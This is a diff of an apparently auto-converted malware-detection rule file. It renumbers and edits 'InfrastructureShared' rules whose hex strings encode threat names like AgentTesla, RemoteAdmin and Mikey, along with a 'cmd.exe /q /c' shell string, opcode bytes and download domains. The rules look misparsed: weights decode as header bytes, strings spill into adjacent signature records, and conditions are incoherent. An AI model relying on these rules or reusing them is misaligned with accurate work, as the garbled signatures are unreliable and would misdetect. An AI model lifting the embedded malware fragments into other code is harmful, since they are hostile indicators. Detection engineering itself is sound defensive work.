05 00 05 00 21 " @@ -161489,7 +172313,7 @@ rule _InfrastructureShared_14164{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*30034+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_14165{ +rule _InfrastructureShared_15097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -161502,7 +172326,7 @@ rule _InfrastructureShared_14165{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25970+(#a_53_2 & 1)*8993+(#a_09_3 & 1)*22589) >=5 } -rule _InfrastructureShared_14166{ +rule _InfrastructureShared_15098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -161516,7 +172340,7 @@ rule _InfrastructureShared_14166{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5892+(#a_69_2 & 1)*29797+(#a_01_3 & 1)*28281+(#a_61_4 & 1)*29295) >=6 } -rule _InfrastructureShared_14167{ +rule _InfrastructureShared_15099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -161530,7 +172354,7 @@ rule _InfrastructureShared_14167{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*19831+(#a_77_2 & 1)*385+(#a_65_3 & 1)*21362+(#a_01_5 & 1)*2816) >=6 } -rule _InfrastructureShared_14168{ +rule _InfrastructureShared_15100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -161545,7 +172369,7 @@ rule _InfrastructureShared_14168{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26625+(#a_42_2 & 1)*8448+(#a_72_3 & 1)*282+(#a_77_4 & 1)*26707+(#a_50_5 & 1)*31090) >=6 } -rule _InfrastructureShared_14169{ +rule _InfrastructureShared_15101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -161562,7 +172386,7 @@ rule _InfrastructureShared_14169{ ((#a_5f_0 & 1)*16931+(#a_63_1 & 1)*25711+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*21587+(#a_33_4 & 1)*25913+(#a_65_5 & 1)*28777+(#a_43_6 & 1)*27745+(#a_6d_7 & 1)*27208) >=6 } -rule _InfrastructureShared_14170{ +rule _InfrastructureShared_15102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -161578,7 +172402,7 @@ rule _InfrastructureShared_14170{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*14689+(#a_74_2 & 1)*31090+(#a_72_3 & 1)*23589+(#a_2e_4 & 1)*29541+(#a_be_5 & 1)*4703+(#a_72_6 & 1)*26957) >=7 } -rule _InfrastructureShared_14171{ +rule _InfrastructureShared_15103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -161594,7 +172418,7 @@ rule _InfrastructureShared_14171{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*385+(#a_65_2 & 1)*11828+(#a_65_3 & 1)*29806+(#a_43_4 & 1)*3840+(#a_45_5 & 1)*29793+(#a_4f_6 & 1)*19529) >=7 } -rule _InfrastructureShared_14172{ +rule _InfrastructureShared_15104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -161609,7 +172433,7 @@ rule _InfrastructureShared_14172{ ((#a_46_0 & 1)*16675+(#a_8f_1 & 1)*18983+(#a_61_3 & 1)*385+(#a_6e_5 & 1)*22273+(#a_61_6 & 1)*384+(#a_65_7 & 1)*28534) >=8 } -rule _InfrastructureShared_14173{ +rule _InfrastructureShared_15105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -161624,7 +172448,7 @@ rule _InfrastructureShared_14173{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18789+(#a_48_4 & 1)*8448+(#a_01_5 & 1)*1792+(#a_01_6 & 1)*16728+(#a_74_7 & 1)*25134) >=8 } -rule _InfrastructureShared_14174{ +rule _InfrastructureShared_15106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -161637,13 +172461,13 @@ rule _InfrastructureShared_14174{ $a_65_5 = {41 64 6d 69 6e 69 73 74 72 61 74 6f 72 04 00 0a 81 01 52 61 64 6d 69 6e 20 33 2e 30 04 00 18 81 01 50 72 6f 67 72 61 6d 73 2f 52 41 64 6d 69 6e 2f 43 48 41 54 4c 4f 47 53 04 00 1e 81 01 72 61 64 6d 69 6e 2e 65 78 65 20 2f 63 6f 6e 6e 65 63 74 3a 78 78 78 78 78 3a 6e 6e 6e 6e 04 00 0d 81 01 72 61 64 6d 69 6e 20 76 69 65 77 65 72 04 00 06 81 01 52 } //28525 $a_69_6 = {04 00 14 81 01 52 65 6d 6f 74 65 20 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 04 00 0f 81 01 62 79 20 46 61 6d 61 74 65 63 68 20 4c 4c 43 00 00 78 d1 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 37 21 4d 54 42 00 01 00 0e 81 01 43 72 65 61 74 } //25665 $a_73_7 = {61 6e 63 65 01 00 0e 81 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 0a 00 25 81 01 24 36 65 64 35 34 33 33 62 2d 64 65 38 32 2d 34 61 65 34 2d 61 31 62 30 2d 62 30 34 36 34 32 33 35 } //18789 - $a_34_8 = {00 19 81 01 57 70 66 41 70 70 6c 69 63 61 74 69 6f 6e 31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b } //13360 - $a_6c_9 = {57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 00 01 00 36 01 54 68 69 73 20 69 73 20 61 20 73 65 72 76 69 63 65 20 65 78 65 63 75 74 61 62 6c 65 21 20 43 6f 75 6c 64 6e 27 74 20 73 74 61 72 74 20 64 69 72 65 63 74 6c 79 2e 01 00 08 01 54 65 72 6d 48 6c 70 00 01 00 1e 01 5c 5c 2e 5c 70 69 70 65 5c 54 65 72 6d 48 6c 70 5f 63 6f } //28500 + $a_34_8 = {00 19 81 01 57 70 66 41 70 70 6c 69 63 61 74 69 6f 6e 31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 d1 00 00 50 00 50 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //13360 + $a_6e_9 = {32 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 14 00 4a 03 49 33 db ff 15 90 01 04 48 8d 4c 24 38 44 8b d8 49 33 db ff 15 90 01 04 4c 8b 5c 24 38 4c 33 db 48 b8 ff ff ff ff ff ff 00 00 4c 23 d8 48 b8 33 a2 df 2d 99 2b 00 00 4c 3b df 4c 0f 44 d8 4c 89 1d 5a 95 00 00 49 f7 d3 90 00 1e 00 23 01 b0 00 00 00 48 c7 44 24 } //22330 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*384+(#a_6f_2 & 1)*23+(#a_6e_3 & 1)*11622+(#a_38_4 & 1)*8303+(#a_65_5 & 1)*28525+(#a_69_6 & 1)*25665+(#a_73_7 & 1)*18789+(#a_34_8 & 1)*13360+(#a_6c_9 & 1)*28500) >=10 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*384+(#a_6f_2 & 1)*23+(#a_6e_3 & 1)*11622+(#a_38_4 & 1)*8303+(#a_65_5 & 1)*28525+(#a_69_6 & 1)*25665+(#a_73_7 & 1)*18789+(#a_34_8 & 1)*13360+(#a_6e_9 & 1)*22330) >=10 } -rule _InfrastructureShared_14175{ +rule _InfrastructureShared_15107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -161654,7 +172478,7 @@ rule _InfrastructureShared_14175{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29800) >=11 } -rule _InfrastructureShared_14176{ +rule _InfrastructureShared_15108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -161664,29 +172488,40 @@ rule _InfrastructureShared_14176{ $a_6d_2 = {74 65 20 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 04 00 0f 81 01 62 79 20 46 61 6d 61 74 65 63 68 20 4c 4c 43 00 00 78 d1 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 37 21 4d 54 42 00 01 00 0e 81 01 43 72 65 61 74 65 } //20993 $a_74_3 = {6e 63 65 01 00 0e 81 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 0a 00 25 81 01 24 36 65 64 35 34 33 33 62 2d 64 65 38 32 2d 34 61 65 34 2d 61 31 62 30 2d 62 30 34 36 34 32 33 35 30 34 35 34 01 00 } //28233 $a_57_4 = {66 } //-32487 f - $a_6c_5 = {63 61 74 69 6f 6e 31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 00 01 00 36 01 54 68 69 73 20 69 73 20 61 20 73 65 72 76 69 63 65 20 65 78 65 63 75 74 61 62 6c 65 21 20 43 6f 75 6c 64 6e 27 74 20 73 74 61 72 74 } //28737 - $a_72_6 = {63 74 6c 79 2e 01 00 08 01 54 65 72 6d 48 6c 70 00 01 00 1e 01 5c 5c 2e 5c 70 69 70 65 5c 54 65 72 6d 48 6c 70 5f 63 6f 6d 6d 75 6e 69 63 61 74 6f 6e 00 01 00 0f 01 54 65 72 6d 48 6c 70 5f 73 74 64 65 72 72 00 01 00 0e 01 54 65 72 6d 48 6c 70 5f 73 74 64 69 6e 00 01 00 13 01 63 6d 64 2e 65 78 65 20 2f 71 20 2f 63 } //25632 - $a_73_7 = {00 00 00 04 00 78 d2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f } //8736 + $a_6c_5 = {63 61 74 69 6f 6e 31 2e 52 65 73 6f 75 72 63 65 73 00 00 78 d1 00 00 50 00 50 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 14 00 4a 03 49 33 db ff 15 90 01 04 48 8d 4c 24 38 44 8b d8 49 33 db ff 15 90 01 04 4c 8b 5c 24 38 4c 33 db 48 b8 ff ff ff ff ff ff 00 00 4c 23 d8 48 b8 } //28737 + $a_2d_6 = {2b 00 00 4c 3b df 4c 0f 44 d8 4c 89 1d 5a 95 00 00 49 f7 d3 90 00 1e 00 23 01 b0 00 00 00 48 c7 44 24 30 ab bc 00 00 41 b9 40 00 00 00 41 b8 00 30 00 00 ba ab bc 00 00 33 c9 48 ff 15 1e 00 30 01 48 8b 88 f8 00 00 00 48 8b 81 c0 00 00 00 48 89 43 08 48 8b 05 f8 be 09 00 48 89 99 c0 00 00 00 48 8b 08 48 8b c3 48 33 cb 48 89 0b 48 83 c4 20 00 00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 00 01 00 36 01 54 68 69 73 20 69 73 20 61 20 73 65 72 76 69 63 65 20 65 78 65 63 75 74 61 62 6c 65 21 20 43 6f 75 6c 64 6e 27 74 20 73 74 61 72 74 20 64 69 72 65 63 74 6c 79 2e 01 00 08 01 54 } //-24013 + $a_48_7 = {70 00 01 00 1e 01 5c 5c 2e 5c 70 69 70 65 5c 54 65 72 6d 48 6c 70 5f 63 6f 6d 6d 75 6e 69 63 61 74 6f 6e 00 01 00 0f 01 54 65 72 6d 48 6c 70 5f 73 74 64 65 72 72 00 01 00 0e 01 54 65 72 6d 48 6c 70 5f 73 74 64 69 6e 00 01 00 13 01 63 6d 64 2e 65 78 65 20 2f 71 20 2f 63 20 22 25 73 22 00 00 00 04 00 78 d2 00 00 01 00 01 00 01 } //29285 condition: - ((#a_5f_0 & 1)*16931+(#a_41_1 & 1)*17199+(#a_6d_2 & 1)*20993+(#a_74_3 & 1)*28233+(#a_57_4 & 1)*-32487+(#a_6c_5 & 1)*28737+(#a_72_6 & 1)*25632+(#a_73_7 & 1)*8736) >=12 + ((#a_5f_0 & 1)*16931+(#a_41_1 & 1)*17199+(#a_6d_2 & 1)*20993+(#a_74_3 & 1)*28233+(#a_57_4 & 1)*-32487+(#a_6c_5 & 1)*28737+(#a_2d_6 & 1)*-24013+(#a_48_7 & 1)*29285) >=12 } -rule _InfrastructureShared_14177{ +rule _InfrastructureShared_15109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 37 21 4d 54 42 00 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0e 81 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 07 81 01 52 65 70 6c } //18467 $a_01_1 = {00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 0a 00 25 81 01 24 36 65 64 35 34 33 33 62 2d 64 65 38 32 2d 34 61 65 34 2d 61 31 62 30 2d 62 30 34 36 34 32 33 35 30 34 35 34 01 00 19 81 01 57 70 66 41 70 70 6c 69 63 61 74 69 6f 6e 31 2e 52 65 } //25441 - $a_72_2 = {65 73 00 00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 00 01 00 36 01 54 68 69 73 20 69 73 20 61 20 73 65 72 76 69 63 65 20 65 78 65 63 75 74 61 62 6c 65 21 20 43 6f 75 6c 64 6e 27 74 20 73 74 61 72 74 20 64 69 72 65 63 74 6c 79 2e 01 00 08 01 54 65 72 6d 48 6c } //28531 - $a_00_3 = {1e } //112 - $a_2e_4 = {70 69 70 65 5c 54 65 72 6d 48 6c 70 5f 63 6f 6d 6d 75 6e 69 63 61 74 6f 6e 00 01 00 0f 01 54 65 72 6d 48 6c 70 5f 73 74 64 65 72 72 00 01 00 0e 01 54 65 72 6d 48 6c 70 5f 73 74 64 69 6e 00 01 00 13 01 63 6d 64 2e 65 78 65 20 2f 71 20 2f 63 20 22 25 73 22 00 00 00 04 00 78 d2 } //23553 - $a_00_5 = {01 } //0 + $a_72_2 = {65 73 00 00 78 d1 00 00 50 00 50 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 14 00 4a 03 49 33 db ff 15 90 01 04 48 8d 4c 24 38 44 8b d8 49 33 db ff 15 90 01 04 4c 8b 5c 24 38 4c 33 db 48 b8 ff ff ff ff ff ff 00 00 4c 23 d8 48 b8 33 a2 df 2d 99 2b 00 00 4c 3b df 4c 0f 44 d8 4c 89 1d 5a 95 } //28531 + $a_f7_3 = {90 00 1e 00 23 01 b0 00 00 00 48 c7 44 24 30 ab bc 00 00 41 b9 40 00 00 00 41 b8 00 30 00 00 ba ab bc 00 00 33 c9 48 ff 15 1e 00 30 01 48 8b 88 f8 00 00 00 48 8b 81 c0 00 00 00 48 89 43 08 48 8b 05 f8 be 09 00 48 89 99 } //0 + $a_48_5 = {c3 48 33 cb 48 89 0b 48 } //-29880 + $a_00_6 = {00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 } //-15229 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25441+(#a_72_2 & 1)*28531+(#a_00_3 & 1)*112+(#a_2e_4 & 1)*23553+(#a_00_5 & 1)*0) >=16 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25441+(#a_72_2 & 1)*28531+(#a_f7_3 & 1)*0+(#a_48_5 & 1)*-29880+(#a_00_6 & 1)*-15229) >=16 } -rule _InfrastructureShared_14178{ +rule _InfrastructureShared_15110{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 14 00 4a 03 49 33 db ff 15 90 01 04 48 8d 4c 24 38 44 8b d8 49 33 db ff 15 90 01 04 4c 8b 5c 24 38 4c 33 db 48 b8 ff ff ff ff ff } //21539 + $a_33_2 = {df 2d 99 2b 00 00 4c 3b df 4c 0f 44 d8 4c 89 1d 5a 95 00 00 49 f7 d3 90 00 1e 00 23 01 b0 00 00 00 48 c7 44 24 30 ab bc 00 00 41 b9 40 00 00 00 41 b8 00 30 00 00 ba ab bc 00 00 33 c9 48 ff 15 1e 00 30 01 48 8b 88 f8 00 00 00 48 8b 81 c0 00 00 00 48 89 43 08 48 8b 05 f8 be 09 00 48 89 99 c0 00 00 00 48 8b 08 48 8b c3 48 33 cb 48 89 0b 48 83 c4 20 00 00 78 d1 00 00 64 00 64 00 06 00 21 23 4c 6f 77 66 69 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 65 6d 6f 74 65 41 64 6d 69 6e 00 01 00 36 01 54 68 69 73 20 69 73 20 61 20 73 65 72 76 69 63 65 } //18648 + condition: + ((#a_4c_0 & 1)*21539+(#a_33_2 & 1)*18648) >=80 + +} +rule _InfrastructureShared_15111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 06 00 21 " @@ -161701,7 +172536,7 @@ rule _InfrastructureShared_14178{ ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*21596+(#a_57_2 & 1)*28257+(#a_8b_3 & 1)*400+(#a_55_4 & 1)*1307+(#a_6a_5 & 1)*29268) >=100 } -rule _InfrastructureShared_14179{ +rule _InfrastructureShared_15112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161711,7 +172546,7 @@ rule _InfrastructureShared_14179{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14180{ +rule _InfrastructureShared_15113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -161721,7 +172556,7 @@ rule _InfrastructureShared_14180{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14181{ +rule _InfrastructureShared_15114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -161732,7 +172567,7 @@ rule _InfrastructureShared_14181{ ((#a_54_0 & 1)*18467+(#a_6a_2 & 1)*15360) >=1 } -rule _InfrastructureShared_14182{ +rule _InfrastructureShared_15115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -161745,7 +172580,7 @@ rule _InfrastructureShared_14182{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*3840+(#a_c7_2 & 1)*23814+(#a_01_3 & 1)*19849) >=1 } -rule _InfrastructureShared_14183{ +rule _InfrastructureShared_15116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -161758,7 +172593,7 @@ rule _InfrastructureShared_14183{ ((#a_6b_0 & 1)*17955+(#a_76_1 & 1)*-27251+(#a_90_2 & 1)*513+(#a_8b_3 & 1)*400) >=1 } -rule _InfrastructureShared_14184{ +rule _InfrastructureShared_15117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161769,7 +172604,7 @@ rule _InfrastructureShared_14184{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*400) >=2 } -rule _InfrastructureShared_14185{ +rule _InfrastructureShared_15118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161780,7 +172615,7 @@ rule _InfrastructureShared_14185{ ((#a_54_0 & 1)*18467+(#a_8f_1 & 1)*4356) >=2 } -rule _InfrastructureShared_14186{ +rule _InfrastructureShared_15119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161791,7 +172626,7 @@ rule _InfrastructureShared_14186{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*27022) >=2 } -rule _InfrastructureShared_14187{ +rule _InfrastructureShared_15120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161802,7 +172637,7 @@ rule _InfrastructureShared_14187{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4961) >=2 } -rule _InfrastructureShared_14188{ +rule _InfrastructureShared_15121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161812,7 +172647,7 @@ rule _InfrastructureShared_14188{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_14189{ +rule _InfrastructureShared_15122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -161823,7 +172658,7 @@ rule _InfrastructureShared_14189{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*1793) >=2 } -rule _InfrastructureShared_14190{ +rule _InfrastructureShared_15123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -161835,7 +172670,7 @@ rule _InfrastructureShared_14190{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*13881+(#a_37_2 & 1)*24369) >=2 } -rule _InfrastructureShared_14191{ +rule _InfrastructureShared_15124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -161847,7 +172682,7 @@ rule _InfrastructureShared_14191{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*11585+(#a_79_2 & 1)*8292) >=2 } -rule _InfrastructureShared_14192{ +rule _InfrastructureShared_15125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -161859,7 +172694,7 @@ rule _InfrastructureShared_14192{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*117+(#a_8b_3 & 1)*13311) >=2 } -rule _InfrastructureShared_14193{ +rule _InfrastructureShared_15126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -161874,7 +172709,7 @@ rule _InfrastructureShared_14193{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*26984+(#a_2f_3 & 1)*28787+(#a_00_4 & 1)*51+(#a_02_5 & 1)*46+(#a_00_6 & 1)*97) >=2 } -rule _InfrastructureShared_14194{ +rule _InfrastructureShared_15127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161885,7 +172720,7 @@ rule _InfrastructureShared_14194{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*88) >=3 } -rule _InfrastructureShared_14195{ +rule _InfrastructureShared_15128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161896,7 +172731,7 @@ rule _InfrastructureShared_14195{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617) >=3 } -rule _InfrastructureShared_14196{ +rule _InfrastructureShared_15129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161908,7 +172743,7 @@ rule _InfrastructureShared_14196{ ((#a_63_0 & 1)*16931+(#a_3a_1 & 1)*28521+(#a_54_2 & 1)*21076) >=3 } -rule _InfrastructureShared_14197{ +rule _InfrastructureShared_15130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161920,7 +172755,7 @@ rule _InfrastructureShared_14197{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10258+(#a_73_2 & 1)*21620) >=3 } -rule _InfrastructureShared_14198{ +rule _InfrastructureShared_15131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161930,7 +172765,7 @@ rule _InfrastructureShared_14198{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14199{ +rule _InfrastructureShared_15132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161941,7 +172776,7 @@ rule _InfrastructureShared_14199{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_14200{ +rule _InfrastructureShared_15133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161951,7 +172786,7 @@ rule _InfrastructureShared_14200{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14201{ +rule _InfrastructureShared_15134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -161962,7 +172797,7 @@ rule _InfrastructureShared_14201{ ((#a_6f_0 & 1)*21539+(#a_6a_1 & 1)*29712) >=3 } -rule _InfrastructureShared_14202{ +rule _InfrastructureShared_15135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -161976,7 +172811,7 @@ rule _InfrastructureShared_14202{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27753+(#a_4e_2 & 1)*3072+(#a_64_3 & 1)*28519+(#a_00_5 & 1)*46) >=3 } -rule _InfrastructureShared_14203{ +rule _InfrastructureShared_15136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -161987,7 +172822,7 @@ rule _InfrastructureShared_14203{ ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*110) >=4 } -rule _InfrastructureShared_14204{ +rule _InfrastructureShared_15137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162000,7 +172835,7 @@ rule _InfrastructureShared_14204{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8300+(#a_00_2 & 1)*4+(#a_3a_3 & 1)*19521) >=4 } -rule _InfrastructureShared_14205{ +rule _InfrastructureShared_15138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162012,7 +172847,7 @@ rule _InfrastructureShared_14205{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*2563+(#a_65_2 & 1)*29561) >=4 } -rule _InfrastructureShared_14206{ +rule _InfrastructureShared_15139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162024,21 +172859,48 @@ rule _InfrastructureShared_14206{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*13107+(#a_00_3 & 1)*107) >=4 } -rule _InfrastructureShared_14207{ +rule _InfrastructureShared_15140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 59 6f 75 78 75 6e 2e 50 21 4d 54 42 00 01 00 37 02 61 00 70 00 69 00 2e 00 72 00 69 00 6c 00 69 00 2e 00 37 00 33 00 30 00 38 00 39 00 31 00 2e 00 63 00 6f 00 6d 00 2f 00 90 02 1f 2e 00 6a 00 73 00 } //16675 $a_00_1 = {90 00 01 00 1e 02 61 70 69 2e 72 69 6c 69 2e 37 33 30 38 39 31 2e 63 6f 6d 2f 90 02 1f 2e 6a 73 6f 6e 90 00 01 00 0e 80 01 77 77 77 2e 79 78 64 6f 77 6e 2e 63 6f 6d 01 00 1c 00 67 00 61 00 6d 00 65 00 79 00 78 00 64 00 6f 00 77 00 6e 00 2e 00 64 00 61 00 74 00 01 00 18 80 01 77 77 77 2e 62 61 69 6e 75 6f 6e 65 74 2e 63 